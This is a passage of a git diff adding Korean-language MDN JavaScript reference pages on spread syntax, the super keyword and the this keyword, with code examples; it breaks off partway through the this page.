+
+<pre class="syntaxbox">let objClone = { ...obj };</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="함수_호출에서의_전개">함수 호출에서의 전개</h3>
+
+<h4 id="apply()_대체"><code>apply()</code> 대체</h4>
+
+<p>일반적으로 배열의 엘리먼트를 함수의 인수로 사용하고자 할 때 {{jsxref( "Function.prototype.apply()")}} 를 사용하였습니다.</p>
+
+<pre class="brush: js">function myFunction(x, y, z) { }
+var args = [0, 1, 2];
+myFunction.apply(null, args);</pre>
+
+<p>전개 구문을 사용해 위 코드는 다음과 같이 작성될 수 있습니다.</p>
+
+<pre class="brush: js">function myFunction(x, y, z) { }
+var args = [0, 1, 2];
+myFunction(...args);</pre>
+
+<p>인수 목록의 모든 인수는 전개 구문을 사용할 수 있으며, 여러번 사용될 수도 있습니다.</p>
+
+<pre class="brush: js">function myFunction(v, w, x, y, z) { }
+var args = [0, 1];
+myFunction(-1, ...args, 2, ...[3]);</pre>
+
+<h4 id="new에_적용"><code>new</code>에 적용</h4>
+
+<p>{{jsxref("Operators/new", "new")}}를 사용해 생성자를 호출 할 때, 배열과 <code>apply</code> (<code>apply</code> 는 <code>[[Call]]</code> 을 하지만 <code>[[Construct]]</code> 는 그렇지 않음) 를 <strong>직접</strong> 사용하는 것은 불가했습니다. 하지만, 전개 구문 덕분에 배열을 <code>new</code> 와 함께 쉽게 사용될 수 있습니다.</p>
+
+<pre class="brush: js">var dateFields = [1970, 0, 1]; // 1 Jan 1970
+var d = new Date(...dateFields);
+</pre>
+
+<p>전개 구문 없이 파라미터의 배열과 함께 <code>new</code>를 사용하려면, 부분적인 어플리케이션을 통해 <strong>간접적</strong>으로 해야 합니다.</p>
+
+<pre class="brush: js">function applyAndNew(constructor, args) {
+ function partial () {
+ return constructor.apply(this, args);
+ };
+ if (typeof constructor.prototype === "object") {
+ partial.prototype = Object.create(constructor.prototype);
+ }
+ return partial;
+}
+
+
+function myConstructor () {
+ console.log("arguments.length: " + arguments.length);
+ console.log(arguments);
+ this.prop1="val1";
+ this.prop2="val2";
+};
+
+var myArguments = ["hi", "how", "are", "you", "mr", null];
+var myConstructorWithArguments = applyAndNew(myConstructor, myArguments);
+
+console.log(new myConstructorWithArguments);
+// (internal log of myConstructor): arguments.length: 6
+// (internal log of myConstructor): ["hi", "how", "are", "you", "mr", null]
+// (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"}</pre>
+
+<h3 id="배열_리터럴에서의_전개">배열 리터럴에서의 전개</h3>
+
+<h4 id="더_강력한_배열_리터럴">더 강력한 배열 리터럴</h4>
+
+<p>전개 구문 없이, 이미 존재하는 배열을 일부로 하는 새로운 배열을 생성하기에, 배열 리터럴 문법은 더 이상 충분하지 않으며 {{jsxref("Array.prototype.push", "push()")}}, {{jsxref("Array.prototype.splice", "splice()")}}, {{jsxref("Array.prototype.concat", "concat()")}} 등의 조합을 사용하는 대신 명령형 코드를 사용해야 했습니다. 전개 구문으로 이는 훨씬 더 간결해졌습니다.</p>
+
+<pre class="brush: js">var parts = ['shoulders', 'knees'];
+var lyrics = ['head', ...parts, 'and', 'toes'];
+// ["head", "shoulders", "knees", "and", "toes"]
+</pre>
+
+<p>인수 목록을 위한 spread 처럼, <code>...</code> 은 배열 리터럴의 어디에서든 사용될 수 있으며 여러번 사용될 수도 있습니다.</p>
+
+<h4 id="배열_복사">배열 복사</h4>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+var arr2 = [...arr]; // arr.slice() 와 유사
+arr2.push(4);
+
+// arr2 은 [1, 2, 3, 4] 이 됨
+// arr 은 영향을 받지 않고 남아 있음
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> Spread 문법은 배열을 복사할 때 1 레벨 깊이에서 효과적으로 동작합니다. 그러므로, 다음 예제와 같이 다차원 배열을 복사하는것에는 적합하지 않을 수 있습니다. ({{jsxref("Object.assign()")}} 과 전개 구문이 동일합니다)</p>
+</div>
+
+<pre class="brush: js">var a = [[1], [2], [3]];
+var b = [...a];
+b.shift().shift(); // 1
+// 이제 배열 a 도 영향을 받음: [[], [2], [3]]
+</pre>
+
+<h4 id="배열을_연결하는_더_나은_방법">배열을 연결하는 더 나은 방법</h4>
+
+<p>{{jsxref("Array.prototype.concat()")}} 은 배열을 존재하는 배열의 끝에 이어붙이는데 종종 사용됩니다. 전개 구문 없이, 이는 다음과 같이 작성됩니다.</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// arr2 의 모든 항목을 arr1 에 붙임
+arr1 = arr1.concat(arr2);</pre>
+
+<p>전개 구문을 사용해 이는 다음과 같아집니다.</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1 = [...arr1, ...arr2]; // arr1 은 이제 [0, 1, 2, 3, 4, 5]
+</pre>
+
+<p>{{jsxref("Array.prototype.unshift()")}}는 존재하는 배열의 시작 지점에 배열의 값들을 삽입하는데 종종 사용됩니다. 전개 구문 없이, 이는 다음과 같이 작성됩니다.</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// arr2 의 모든 항목을 arr1 의 앞에 붙임
+Array.prototype.unshift.apply(arr1, arr2) // arr1 은 이제 [3, 4, 5, 0, 1, 2] 가 됨</pre>
+
+<p>전개 구문으로, 이는 다음과 같아집니다.</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1 = [...arr2, ...arr1]; // arr1 은 이제 [3, 4, 5, 0, 1, 2] 가 됨
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <code>unshift()</code>와 달리, 위 예제는 새로운 <code>arr1</code>을 만들며 기존 배열을 변형하지 않습니다.</p>
+</div>
+
+<h3 id="객체_리터럴에서의_전개">객체 리터럴에서의 전개</h3>
+
+<p><a href="https://github.com/tc39/proposal-object-rest-spread">ECMAScript의 Rest/Spread 프로퍼티</a> 제안 (stage 4) 은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">객체 리터럴</a>에 속성 전개를 추가합니다. 이는 제공된 객체가 소유한 열거형 프로퍼티를 새로운 객체로 복사합니다.</p>
+
+<p>얕은 복제(prototype 제외) 또는 객체의 병합은 이제 {{jsxref("Object.assign()")}} 보다 더 짧은 문법을 사용해 가능합니다.</p>
+
+<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+
+var clonedObj = { ...obj1 };
+// Object { foo: "bar", x: 42 }
+
+var mergedObj = { ...obj1, ...obj2 };
+// Object { foo: "baz", x: 42, y: 13 }</pre>
+
+<p>{{jsxref("Object.assign()")}} 은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions/set">setters</a> 를 트리거하지만 전개 구문은 그렇지 않음을 유의합니다.</p>
+
+<p>{{jsxref("Object.assign()")}} 함수를 대체하거나 흉내낼 수 없음을 유의합니다.</p>
+
+<pre><code>var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+const merge = ( ...objects ) =&gt; ( { ...objects } );
+
+var mergedObj = merge ( obj1, obj2);
+// Object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } }
+
+var mergedObj = merge ( {}, obj1, obj2);
+// Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }</code></pre>
+
+<p>위 예제에서, 전개 구문은 예상대로 동작하지 않습니다. 나머지 매개변수로 인해, 인수 배열을 객체 리터럴로 전개합니다.</p>
+
+<h3 id="이터러블_전용">이터러블 전용</h3>
+
+<p>전개 구문 (spread 프로퍼티인 경우 제외) 은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterable</a> 객체에만 적용됩니다.</p>
+
+<pre class="brush: js">var obj = {'key1': 'value1'};
+var array = [...obj]; // TypeError: obj is not iterable
+</pre>
+
+<h3 id="많은_값과_Spread">많은 값과 Spread</h3>
+
+<p>함수 호출에서 spread 문법을 사용할 때, 자바스크립트 엔진의 인수 길이 제한을 초과하지 않도록 주의합니다. 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object)."><code>apply()</code></a> 를 보세요.</p>
+
+<h2 id="나머지_구문_(매개변수)">나머지 구문 (매개변수)</h2>
+
+<p>나머지 구문은 전개 구문과 정확히 같아보이지만, 대신 배열이나 객체를 분해할 때 사용됩니다. 어떤 면에서, 나머지 구문은 전개 구문과 반대입니다. 전개는 배열을 그 엘리먼트로 '확장' 하는 반면, 나머지는 여러 엘리먼트를 수집하며 이를 하나의 엘리먼트로 '압축' 합니다. <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters">나머지 매개변수</a> 문서를 보세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array-initializer')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>명세의 여러 섹션에서 정의 됨: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-array-initializer">Array Initializer</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-argument-lists">Argument Lists</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2018', '#sec-object-initializer')}}</td>
+ <td>{{Spec2('ES2018')}}</td>
+ <td><a href="http://www.ecma-international.org/ecma-262/9.0/#sec-object-initializer">Object Initializer</a> 에서 정의됨</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array-initializer')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>변동 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object-initializer')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>변동 없음.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.spread")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters">나머지 매개변수</a> (또한 ‘<code>...</code>’)</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">fn.apply</a> (또한 ‘<code>...</code>’)</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/super/index.html b/files/ko/web/javascript/reference/operators/super/index.html
new file mode 100644
index 0000000000..fbcb123c57
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/super/index.html
@@ -0,0 +1,176 @@
+---
+title: super
+slug: Web/JavaScript/Reference/Operators/super
+tags:
+ - Classes
+ - JavaScript
+ - Left-hand-side expressions
+ - Operator
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators/super
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>super</strong> 키워드는 부모 오브젝트의 함수를 호출할 때 사용됩니다.</p>
+
+<p><code>super.prop</code> 와 <code>super[expr]</code> 표현식은 <a href="/ko/docs/Web/JavaScript/Reference/Classes">클래스</a> 와 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">객체리터럴</a>의 어떠한 <a href="/ko/docs/Web/JavaScript/Reference/Functions/Method_definitions">메서드 정의</a> 방법에서도 유효합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">super([arguments]); // 부모 생성자 호출
+super.functionOnParent([arguments]);
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>생성자에서는 <code>super</code> 키워드 하나만 사용되거나 <code>this</code> 키워드가 사용되기 전에 호출되어야 합니다. 또한 <code>super</code> 키워드는 부모 객체의 함수를 호출하는데 사용될 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="클래스에서_super_사용하기">클래스에서 <code>super</code> 사용하기</h3>
+
+<p>이 예제는 옆의 링크에서 발췌하였습니다. <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>).</p>
+
+<pre class="brush: js">class Polygon {
+ constructor(height, width) {
+ this.name = 'Polygon';
+ this.height = height;
+ this.width = width;
+ }
+ sayName() {
+ console.log('Hi, I am a ', this.name + '.');
+ }
+}
+
+class Square extends Polygon {
+ constructor(length) {
+ this.height; // 참조오류가 발생합니다. super가 먼저 호출되어야 합니다.
+
+ // 여기서, 부모클래스의 생성자함수를 호출하여 높이값을 넘겨줍니다.
+ // Polygon의 길이와 높이를 넘겨줍니다.
+ super(length, length);
+
+ // 참고: 파생 클래스에서 super() 함수가 먼저 호출되어야
+ // 'this' 키워드를 사용할 수 있습니다. 그렇지 않을 경우 참조오류가 발생합니다.
+ this.name = 'Square';
+ }
+
+ get area() {
+ return this.height * this.width;
+ }
+
+ set area(value) {
+ this.area = value;
+ }
+}</pre>
+
+<h3 id="정적_메서드에서_Super_호출">정적 메서드에서 Super 호출</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Classes/static">static</a> 메서드에서도 super를 호출할 수 있습니다.</p>
+
+<pre class="brush: js">class Human {
+ constructor() {}
+ static ping() {
+ return 'ping';
+ }
+}
+
+class Computer extends Human {
+ constructor() {}
+ static pingpong() {
+ return super.ping() + ' pong';
+ }
+}
+Computer.pingpong(); // 'ping pong'
+</pre>
+
+<h3 id="super의_속성_삭제">super의 속성 삭제</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/delete">delete 연산자</a>를 사용할 수 없으며 <code>super.prop</code> 또는 <code>super[expr]</code> 표현식을 사용하여 부모 클래스의 속성을 삭제할 경우 {{jsxref("ReferenceError")}} 오류가 발생합니다.</p>
+
+<pre class="brush: js">class Base {
+ constructor() {}
+ foo() {}
+}
+class Derived {
+ constructor() {}
+ delete() {
+ delete super.foo;
+ }
+}
+
+new Derived().delete(); // 참조오류: 'super'완 관련된 삭제가 유효하지 않습니다. </pre>
+
+<h3 id="Super.prop은_non-writable_속성을_덮어_쓸_수_없습니다"><code>Super.prop</code>은 non-writable 속성을 덮어 쓸 수 없습니다</h3>
+
+<p>예를 들어 {{jsxref("Object.defineProperty")}}로 속성을 정의할 때, <code>super</code>의 속성 값을 덮어 쓸 수 없습니다.</p>
+
+<pre class="brush: js">class X {
+ constructor() {
+ Object.defineProperty(this, "prop", {
+ configurable: true,
+ writable: false,
+ value: 1
+ });
+ }
+ f() {
+ super.prop = 2;
+ }
+}
+
+var x = new X();
+x.f();
+console.log(x.prop); // 1
+</pre>
+
+<h3 id="객체_리터럴에서_super.prop_사용하기">객체 리터럴에서 <code>super.prop</code> 사용하기</h3>
+
+<p>Super는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer / literal</a> 표기법에서 사용할 수 있습니다. 아래의 예제에서, 두개의 객체는 메서드를 정의합니다. 두번째 객체에서, <code>super</code>는  첫번째 객체의 메서드를 호출합니다. 이 예제는 {{jsxref("Object.setPrototypeOf()")}}를 이용하여  obj2 prototype에 obj1을 세팅하여, <code>super</code>가 obj1의 method1을 찾을 수 있도록 합니다.</p>
+
+<pre class="brush: js">var obj1 = {
+ method1() {
+ console.log("method 1");
+ }
+}
+
+var obj2 = {
+ method2() {
+ super.method1();
+ }
+}
+
+Object.setPrototypeOf(obj2, obj1);
+obj2.method2(); // logs "method 1"
+</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-super-keyword', 'super')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.super")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/this/index.html b/files/ko/web/javascript/reference/operators/this/index.html
new file mode 100644
index 0000000000..8a2807a5d8
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/this/index.html
@@ -0,0 +1,398 @@
+---
+title: this
+slug: Web/JavaScript/Reference/Operators/this
+tags:
+ - JavaScript
+ - Operator
+ - Primary Expressions
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators/this
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>JavaScript에서 <strong>함수의 <code>this</code> 키워드</strong>는 다른 언어와 조금 다르게 동작합니다. 또한 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>와 비엄격 모드에서도 일부 차이가 있습니다.</p>
+
+<p>대부분의 경우 <code>this</code>의 값은 함수를 호출한 방법에 의해 결정됩니다. 실행중에는 할당으로 설정할 수 없고 함수를 호출할 때 마다 다를 수 있습니다. ES5는 {{jsxref('Operators/this', "함수를 어떻게 호출했는지 상관하지 않고 <code>this</code> 값을 설정할 수 있는")}} {{jsxref("Function.prototype.bind()", "bind")}} 메서드를 도입했고, ES2015는 스스로의 <code>this</code> 바인딩을 제공하지 않는 <a href="/ko/docs/Web/JavaScript/Reference/Functions/%EC%95%A0%EB%A1%9C%EC%9A%B0_%ED%8E%91%EC%85%98">화살표 함수</a>를 추가했습니다(이는 렉시컬 컨텍스트안의 <code>this</code>값을 유지합니다).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-this.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">this</pre>
+
+<h3 id="값">값</h3>
+
+<p>실행 컨텍스트(global, function 또는 eval)의 프로퍼티는 비엄격 모드에서 항상 객체를 참조하며, 엄격 모드에서는 어떠한 값이든 될 수 있습니다.</p>
+
+<h2 id="전역_문맥">전역 문맥</h2>
+
+<p>전역 실행 문맥<sup>global execution context</sup>에서 <code>this</code>는 엄격 모드 여부에 관계 없이 전역 객체를 참조합니다.</p>
+
+<pre class="brush: js notranslate">// 웹 브라우저에서는 window 객체가 전역 객체
+console.log(this === window); // true
+
+a = 37;
+console.log(window.a); // 37
+
+this.b = "MDN";
+console.log(window.b) // "MDN"
+console.log(b) // "MDN"</pre>
+
+<div class="blockIndicator note">
+<p><strong>노트:</strong> global {{jsxref("globalThis")}} 프로퍼티를 사용하여 코드가 실행중인 현재 컨텍스트와 관계없이 항상 전역 객체를 얻을 수 있습니다.</p>
+</div>
+
+<h2 id="함수_문맥">함수 문맥</h2>
+
+<p>함수 내부에서 <code>this</code>의 값은 함수를 호출한 방법에 의해 좌우됩니다.</p>
+
+<h3 id="단순_호출">단순 호출</h3>
+
+<p>다음 예제는 엄격 모드가 아니며 <code>this</code>의 값이 호출에 의해 설정되지 않으므로, 기본값으로 브라우저에서는 {{domxref("Window", "window")}}인 전역 객체를 참조합니다.</p>
+
+<pre class="brush: js notranslate">function f1() {
+ return this;
+}
+
+// 브라우저
+f1() === window; // true
+
+// Node.js
+f1() === global; // true</pre>
+
+<p>반면에 엄격 모드에서 <code>this</code> 값은 실행 문맥에 진입하며 설정되는 값을 유지하므로 다음 예시에서 보여지는 것 처럼 <code>this</code>는 <code>undefined</code>로 남아있습니다.</p>
+
+<pre class="brush: js notranslate">function f2(){
+  "use strict"; // 엄격 모드 참고
+  return this;
+}
+
+f2() === undefined; // true
+</pre>
+
+<div class="blockIndicator note">
+<p>두번째 예제에서 <code>f2</code>를 객체의 메서드나 속성(예: <code>window.f2()</code>)으로써가 아닌 직접 호출했기 때문에  <code>this</code>는 {{jsxref("undefined")}}여야 합니다. 그러나 엄격 모드를 처음 지원하기 시작한 초기 브라우저에서는 구현하지 않았고, <code>window</code> 객체를 잘못 반환했습니다.</p>
+</div>
+
+<p><code>this</code>의 값을 한 문맥에서 다른 문맥으로 넘기려면 다음 예시와 같이 {{jsxref("Function.prototype.call()", "call()")}}이나 {{jsxref("Function.prototype.apply", "apply()")}}를 사용하세요.</p>
+
+<p><strong>예시 1</strong></p>
+
+<pre class="brush: js notranslate" dir="rtl">// call 또는 apply의 첫 번째 인자로 객체가 전달될 수 있으며 this가 그 객체에 묶임
+var obj = {a: 'Custom'};
+
+// 변수를 선언하고 변수에 프로퍼티로 전역 window를 할당
+var a = 'Global';
+
+function whatsThis() {
+ return this.a; // 함수 호출 방식에 따라 값이 달라짐
+}
+
+whatsThis(); // this는 'Global'. 함수 내에서 설정되지 않았으므로 global/window 객체로 초기값을 설정한다.
+whatsThis.call(obj); // this는 'Custom'. 함수 내에서 obj로 설정한다.
+whatsThis.apply(obj); // this는 'Custom'. 함수 내에서 obj로 설정한다.
+</pre>
+
+<p><strong>예시 2</strong></p>
+
+<pre class="brush: js notranslate">function add(c, d) {
+ return this.a + this.b + c + d;
+}
+
+var o = {a: 1, b: 3};
+
+// 첫 번째 인자는 'this'로 사용할 객체이고,
+// 이어지는 인자들은 함수 호출에서 인수로 전달된다.
+add.call(o, 5, 7); // 16
+
+// 첫 번째 인자는 'this'로 사용할 객체이고,
+// 두 번째 인자는 함수 호출에서 인수로 사용될 멤버들이 위치한 배열이다.
+add.apply(o, [10, 20]); // 34
+</pre>
+
+<p>비엄격 모드에서 <code>this</code>로 전달된 값이 객체가 아닌 경우, <code>call</code>과 <code>apply</code>는 이를 객체로 변환하기 위한 시도를 합니다. <code>null</code>과 <code>undefined</code> 값은 전역 객체가 됩니다. <code>7</code>이나 <code>'foo'</code>와 같은 원시값은 관련된 생성자를 사용해 객체로 변환되며, 따라서 원시 숫자 <code>7</code>은 <code>new Number(7)</code>에 의해 객체로 변환되고 문자열 <code>'foo'</code>는 <code>new String('foo')</code>에 의해 객체로 변환됩니다.</p>
+
+<pre class="brush: js notranslate">function bar() {
+ console.log(Object.prototype.toString.call(this));
+}
+
+bar.call(7); // [object Number]
+bar.call('foo'); // [object String]
+bar.call(undefined); // [object global]
+</pre>
+
+<h3 id="bind_메서드"><code>bind</code> 메서드</h3>
+
+<p>ECMAScript 5는 {{jsxref("Function.prototype.bind")}}를 도입했습니다. <code>f.bind(someObject)</code>를 호출하면 <code>f</code>와 같은 본문(코드)과 범위를 가졌지만 this는 원본 함수를 가진 새로운 함수를 생성합니다. 새 함수의 <code>this</code>는 호출 방식과 상관없이 영구적으로<code>bind()</code>의 첫 번째 매개변수로 고정됩니다.</p>
+
+<pre class="brush: js notranslate">function f() {
+ return this.a;
+}
+
+var g = f.bind({a: 'azerty'});
+console.log(g()); // azerty
+
+var h = g.bind({a: 'yoo'}); // bind는 한 번만 동작함!
+console.log(h()); // azerty
+
+var o = {a: 37, f: f, g: g, h: h};
+console.log(o.a, o.f(), o.g(), o.h()); // 37, 37, azerty, azerty</pre>
+
+<h3 id="화살표_함수">화살표 함수</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Functions/%EC%95%A0%EB%A1%9C%EC%9A%B0_%ED%8E%91%EC%85%98">화살표 함수</a>에서 <code>this</code>는 자신을 감싼 정적 범위<sup>lexical context</sup>입니다. 전역 코드에서는 전역 객체를 가리킵니다.</p>
+
+<pre class="brush: js notranslate">var globalObject = this;
+var foo = (() =&gt; this);
+console.log(foo() === globalObject); // true</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 화살표 함수를 <code>call()</code>, <code>bind()</code>, <code>apply()</code>를 사용해 호출할 때 <code>this</code>의 값을 정해주더라도 무시합니다. 사용할 매개변수를 정해주는 건 문제 없지만, 첫 번째 매개변수(<code>thisArg</code>)는 <code>null</code>을 지정해야 합니다.</p>
+</div>
+
+<pre class="brush: js notranslate">// 객체로서 메서드 호출
+var obj = {func: foo};
+console.log(obj.func() === globalObject); // true
+
+// call을 사용한 this 설정 시도
+console.log(foo.call(obj) === globalObject); // true
+
+// bind를 사용한 this 설정 시도
+foo = foo.bind(obj);
+console.log(foo() === globalObject); // true</pre>
+
+<p>어떤 방법을 사용하든 <code>foo</code>의 <code>this</code>는 생성 시점의 것으로 설정됩니다(위 예시에서는 global 객체). 다른 함수 내에서 생성된 화살표 함수에도 동일하게 적용됩니다. <code>this</code>는 싸여진 렉시컬 컨텍스트의 것으로 유지됩니다.</p>
+
+<pre class="brush: js notranslate">// this를 반환하는 메소드 bar를 갖는 obj를 생성합니다.
+// 반환된 함수는 화살표 함수로 생성되었으므로,
+// this는 감싸진 함수의 this로 영구적으로 묶입니다.
+// bar의 값은 호출에서 설정될 수 있으며, 이는 반환된 함수의 값을 설정하는 것입니다.
+var obj = {
+  bar: function() {
+ var x = (() =&gt; this);
+ return x;
+ }
+};
+
+// obj의 메소드로써 bar를 호출하고, this를 obj로 설정
+// 반환된 함수로의 참조를 fn에 할당
+var fn = obj.bar();
+
+// this 설정 없이 fn을 호출하면,
+// 기본값으로 global 객체 또는 엄격 모드에서는 undefined
+console.log(fn() === obj); // true
+
+// 호출 없이 obj의 메소드를 참조한다면 주의하세요.
+var fn2 = obj.bar;
+// 화살표 함수의 this를 bar 메소드 내부에서 호출하면
+// fn2의 this를 따르므로 window를 반환할것입니다.
+console.log(fn2()() == window); // true</pre>
+
+<p>위 예시에서, <code>obj.bar</code>에 할당된 함수(익명 함수 A라고 지칭)는 화살표 함수로 생성된 다른 함수(익명 함수 B라고 지칭)를 반환합니다. 결과로써 함수 B가 호출될 때 B의 <code>this</code>는 영구적으로 <code>obj.bar</code>(함수 A)의 <code>this</code>로 설정됩니다. 반환됨 함수(함수 B)가 호출될 때, <code>this</code>는 항상 초기에 설정된 값일 것입니다. 위 코드 예시에서, 함수 B의 <code>this</code>는 함수 A의 <code>this</code>인 <code>obj</code>로 설정되므로, 일반적으로 <code>this</code>를 <code>undefined</code>나 global 객체로 설정하는 방식으로 호출할 때도(또는 이전 예시에서처럼 global 실행 컨텍스트에서 다른 방법을 사용할 때에도) obj의 설정은 유지됩니다.</p>
+
+<h3 id="객체의_메서드로서">객체의 메서드로서</h3>
+
+<p>함수를 어떤 객체의 메서드로 호출하면 <code>this</code>의 값은 그 객체를 사용합니다.</p>
+
+<p>다음 예제에서 <code>o.f()</code>를 실행할 때 <code>o</code> 객체가 함수 내부의 <code>this</code>와 연결됩니다.</p>
+
+<pre class="brush: js notranslate">var o = {
+  prop: 37,
+  f: function() {
+  return this.prop;
+  }
+};
+
+console.log(o.f()); // 37
+</pre>
+
+<p>이 행동이 함수가 정의된 방법이나 위치에 전혀 영향을 받지 않는 것에 유의해라. 이전 예제에서, <code>o</code> 의 정의 중 <code>f</code> 함수를 구성원으로 내부에 정의 하였다.  그러나, 간단하게 함수를 먼저 정의하고 나중에 <code>o.f</code>를 추가할 수 있다. 이렇게 하면 동일한 동작 결과 이다 :</p>
+
+<pre class="brush: js notranslate">var o = {prop: 37};
+
+function independent() {
+  return this.prop;
+}
+
+o.f = independent;
+
+console.log(o.f()); // logs 37
+</pre>
+
+<p>이는 함수가 <code>o</code>의 멤버 <code>f</code>로 부터 호출 된 것만이 중요하다는 것을 보여준다.</p>
+
+<p>마찬가지로, 이 <code>this</code> 바인딩은 가장 즉각으로 멤버 대상에 영향을 받는다. 다음 예제에서, 함수를 실행할 때, 객체 <code>o.b</code>의 메소드 <code>g</code> 로서 호출한다. 이것이 실행되는 동안, 함수 내부의 <code>this</code>는 <code>o.b</code>를 나타낸다. 객체는 그 자신이 <code>o</code>의 멤버 중 하나라는 사실은 중요하지 않다. 가장 즉각적인 참조가  중요한 것이다.</p>
+
+<pre class="brush: js notranslate">o.b = {g: independent, prop: 42};
+console.log(o.b.g()); // logs 42
+</pre>
+
+<h4 id="객체의_프로토타입_체인에서의_this">객체의 프로토타입 체인에서의 <code>this</code></h4>
+
+<p>같은 개념으로 객체의 프로토타입 체인 어딘가에 정의한 메서드도 마찬가지입니다. 메서드가 어떤 객체의 프로토타입 체인 위에 존재하면, <code>this</code>의 값은 그 객체가 메서드를 가진 것 마냥 설정됩니다.</p>
+
+<pre class="brush: js notranslate">var o = {
+  f:function() { return this.a + this.b; }
+};
+var p = Object.create(o);
+p.a = 1;
+p.b = 4;
+
+console.log(p.f()); // 5
+</pre>
+
+<p>이 예제에서, <code>f</code> 속성을 가지고 있지 않은 변수 <code>p</code>가 할당된 객체는, 프로토타입으로 부터 상속받는다. 그러나 그것은 결국 <code>o</code>에서 <code>f</code> 이름을 가진 멤버를 찾는 되는 문제가 되지 않는다 ; <code>p.f</code>를 찾아 참조하기 시작하므로, 함수 내부의 <code>this</code>는<code> p</code> 처럼 나타나는 객체 값을 취한다. 즉, <code>f</code>는 <code>p</code>의 메소드로서 호출된 이후로, <code>this</code>는 <code>p</code>를 나타낸다. 이것은 JavaScript의 프로토타입 상속의 흥미로운 기능이다.</p>
+
+<h4 id="접근자와_설정자의_this">접근자와 설정자의 <code>this</code></h4>
+
+<p>다시 한 번 같은 개념으로, 함수를 접근자와 설정자에서 호출하더라도 동일합니다. 접근자나 설정자로 사용하는 함수의 <code>this</code>는 접근하거나 설정하는 속성을 가진 객체로 묶입니다.</p>
+
+<pre class="brush: js notranslate">function sum() {
+ return this.a + this.b + this.c;
+}
+
+var o = {
